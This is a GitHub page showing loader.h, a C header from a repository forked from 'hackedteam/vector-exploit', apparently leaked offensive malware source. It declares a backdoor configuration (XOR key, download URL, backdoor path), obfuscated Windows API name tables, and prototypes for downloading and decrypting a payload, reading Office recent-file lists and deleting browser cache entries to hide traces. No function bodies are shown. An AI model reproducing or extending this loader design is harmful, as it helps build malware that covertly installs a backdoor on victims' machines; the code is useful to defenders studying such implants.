forked from hackedteam/vector-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathloader.h
More file actions
155 lines (139 loc) · 4.93 KB
/
Copy pathloader.h
File metadata and controls
155 lines (139 loc) · 4.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <Windows.h>
#ifndef __loader_h
#define __loader_h
//#pragma optimize("", off)
#include "winapi.h"
#define FAST_KERNEL32_HANDLE
#define FAST_POINTERS
struct __config {
DWORD dwXorKey;
char szUrl[132];
char szBackdoorPath[52];
};
struct __strings
{
// DWORD ShellcodeGadget1;
// DWORD ShellcodeGadget2;
// DWORD ShellcodeGadget3;
CHAR strNtDll[6];
CHAR strKernel32[9];
CHAR strUser32[7];
CHAR strShell32[8];
CHAR strUrlMon[7];
CHAR strWinInet[8];
CHAR strAdvapi32[9];
CHAR strVirtualAlloc[13];
CHAR strGetFileSize[12];
CHAR strSleep[6];
CHAR strExitProcess[12];
CHAR strGetModuleFileNameW[19];
CHAR strZwQueryInformationFile[23];
CHAR strShellExecuteW[14];
CHAR strUrlDownloadToFileA[19];
CHAR strSHGetSpecialFolderPathW[24];
CHAR strFindFirstUrlCacheEntryA[24];
CHAR strFindNextUrlCacheEntryA[23];
CHAR strDeleteUrlCacheEntryA[21];
CHAR strFindCloseUrlCache[18];
CHAR strNtQueryObject[14];
CHAR strCloseHandle[12];
CHAR strGetShortPathNameW[18];
CHAR strGetFileAttributesW[19];
CHAR strRegOpenKeyExW[14];
CHAR strRegQueryValueExW[17];
CHAR strDeleteFileA[12];
CHAR strGetUrlCacheEntryInfoA[22];
CHAR strInternetOpenA[14];
CHAR strInternetOpenUrlA[17];
CHAR strHttpQueryInfoA[15];
CHAR strInternetReadFileExA[20];
CHAR strCreateFileA[12];
CHAR strWriteFile[10];
CHAR strAtoi[5];
CHAR strWcsToMbs[9];
WCHAR strOfficeKey1[27];
WCHAR strWord[5];
WCHAR strPowerPoint[11];
WCHAR strOfficeKey2[15];
WCHAR strOfficeItem[7];
CHAR strSWFSuffix[5];
WCHAR strDOCRunning[13];
WCHAR strDOCRunning2[6];
WCHAR strPPRunning1[5];
WCHAR strPPRunning2[8];
WCHAR strDOCX[6];
WCHAR strPPSX[6];
WCHAR strDOCArgs[8];
WCHAR strPPTArgs[5];
WCHAR strTmp[4];
WCHAR strQuote[2];
CHAR strUserAgent[187];
};
typedef struct _VTABLE
{
GETPROCADDRESS GetProcAddress;
LOADLIBRARYA LoadLibraryA;
OUTPUTDEBUGSTRINGA OutputDebugStringA;
GETFILESIZE GetFileSize;
VIRTUALALLOC VirtualAlloc;
CLOSEHANDLE CloseHandle;
SLEEP Sleep;
EXITPROCESS ExitProcess;
SHELLEXECUTEW ShellExecuteW;
GETSHORTPATHNAMEW GetShortPathNameW;
GETMODULEFILENAMEW GetModuleFileNameW;
NTQUERYINFORMATIONFILE NtQueryInformationFile;
NTQUERYOBJECT NtQueryObject;
FINDFIRSTURLCACHEENTRYA FindFirstUrlCacheEntryA;
FINDNEXTURLCACHEENTRYA FindNextUrlCacheEntryA;
DELETEURLCACHEENTRYA DeleteUrlCacheEntryA;
FINDCLOSEURLCACHE FindCloseUrlCache;
URLDOWNLOADTOFILEA URLDownloadToFileA;
SHGETSPECIALFOLDERPATHW SHGetSpecialFolderPathW;
GETSHORTPATHNAMEA GetShortPathNameA;
GETFILEATTRIBUTESW GetFileAttributesW;
REGOPENKEYEXW RegOpenKeyExA;
REGQUERYVALUEEXW RegQueryValueExA;
DELETEFILEA DeleteFileA;
GETURLCACHEENTRYINFOA GetUrlCacheEntryInfoA;
INTERNETOPENA InternetOpenA;
INTERNETOPENURLA InternetOpenUrlA;
HTTPQUERYINFOA HttpQueryInfoA;
INTERNETREADFILEEXA InternetReadFileExA;
CREATEFILEA CreateFileA;
WRITEFILE WriteFile;
ATOI atoi;
WCSTOMBS wcstombs;
} VTABLE, *PVTABLE;
extern "C" VOID Startup();
extern "C" VOID LoaderEntryPoint(struct __vtbl *VTBL, struct __config *config, struct __strings *strings);
extern "C" BOOL GetVTable(__out PVTABLE lpTable, struct __strings *strings);
extern "C" BOOL GetPointers(__out PGETPROCADDRESS fpGetProcAddress, __out PLOADLIBRARYA fpLoadLibraryA);
extern "C" HANDLE GetKernel32Handle();
extern "C" VOID RemoveCachedObject(__in PVTABLE lpTable, __in LPSTR strUrl, __in BOOL isSubString);
#ifdef FAST_POINTERS
extern "C" DWORD GetStringHash(__in LPVOID lpBuffer, __in BOOL bUnicode, __in UINT uLen);
#endif
extern "C" LPWSTR FindDriveOfFile(__in PVTABLE lpTable, __in struct __strings *strings, __in LPWSTR strFileName);
extern "C" LPWSTR ReadMRU(__in PVTABLE lpTable, __in struct __strings *strings);
extern "C" LPBYTE Decrypt(__in LPBYTE lpBuffer, __in DWORD dwBuffLen, __in DWORD dwXorKey);
extern "C" LPBYTE DownloadAndDecrypt(__in PVTABLE lpTable, __in struct __strings *strings, __in LPSTR strUrl, __in LPDWORD dwFileLen, __in DWORD dwXorKey);
extern "C" BOOL DownloadFile(__in PVTABLE lpTable, __in HINTERNET hUrl, __in LPBYTE lpBuffer, __in DWORD dwBufferLen);
// crt
extern "C" BOOL __ISUPPER__(__in CHAR c);
extern "C" CHAR __TOLOWER__(__in CHAR c);
extern "C" UINT __STRLEN__(__in LPSTR lpStr1);
extern "C" UINT __STRLENW__(__in LPWSTR lpStr1);
extern "C" INT __STRCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2);
extern "C" LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2);
extern "C" INT __STRNCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2, __in DWORD dwLen);
extern "C" INT __STRNCMPIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2,__in DWORD dwLen);
extern "C" LPWSTR __STRCATW__(__in LPWSTR strDest, __in LPWSTR strSource);
extern "C" LPVOID __MEMCPY__(__in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount);
extern "C" VOID __MEMSET__(__in LPVOID p, __in CHAR cValue, __in DWORD dwSize);
extern "C" LPSTR __STRSTRI__(__in LPSTR lpStr1, __in LPSTR lpStr2);
extern "C" LPSTR __STRCAT__(__in LPSTR strDest, __in LPSTR strSource);
extern "C" VOID END_LOADER_DATA();
// OPTIONS -> linker -> function order
//#pragma optimize("", on)
#endif //__loader_h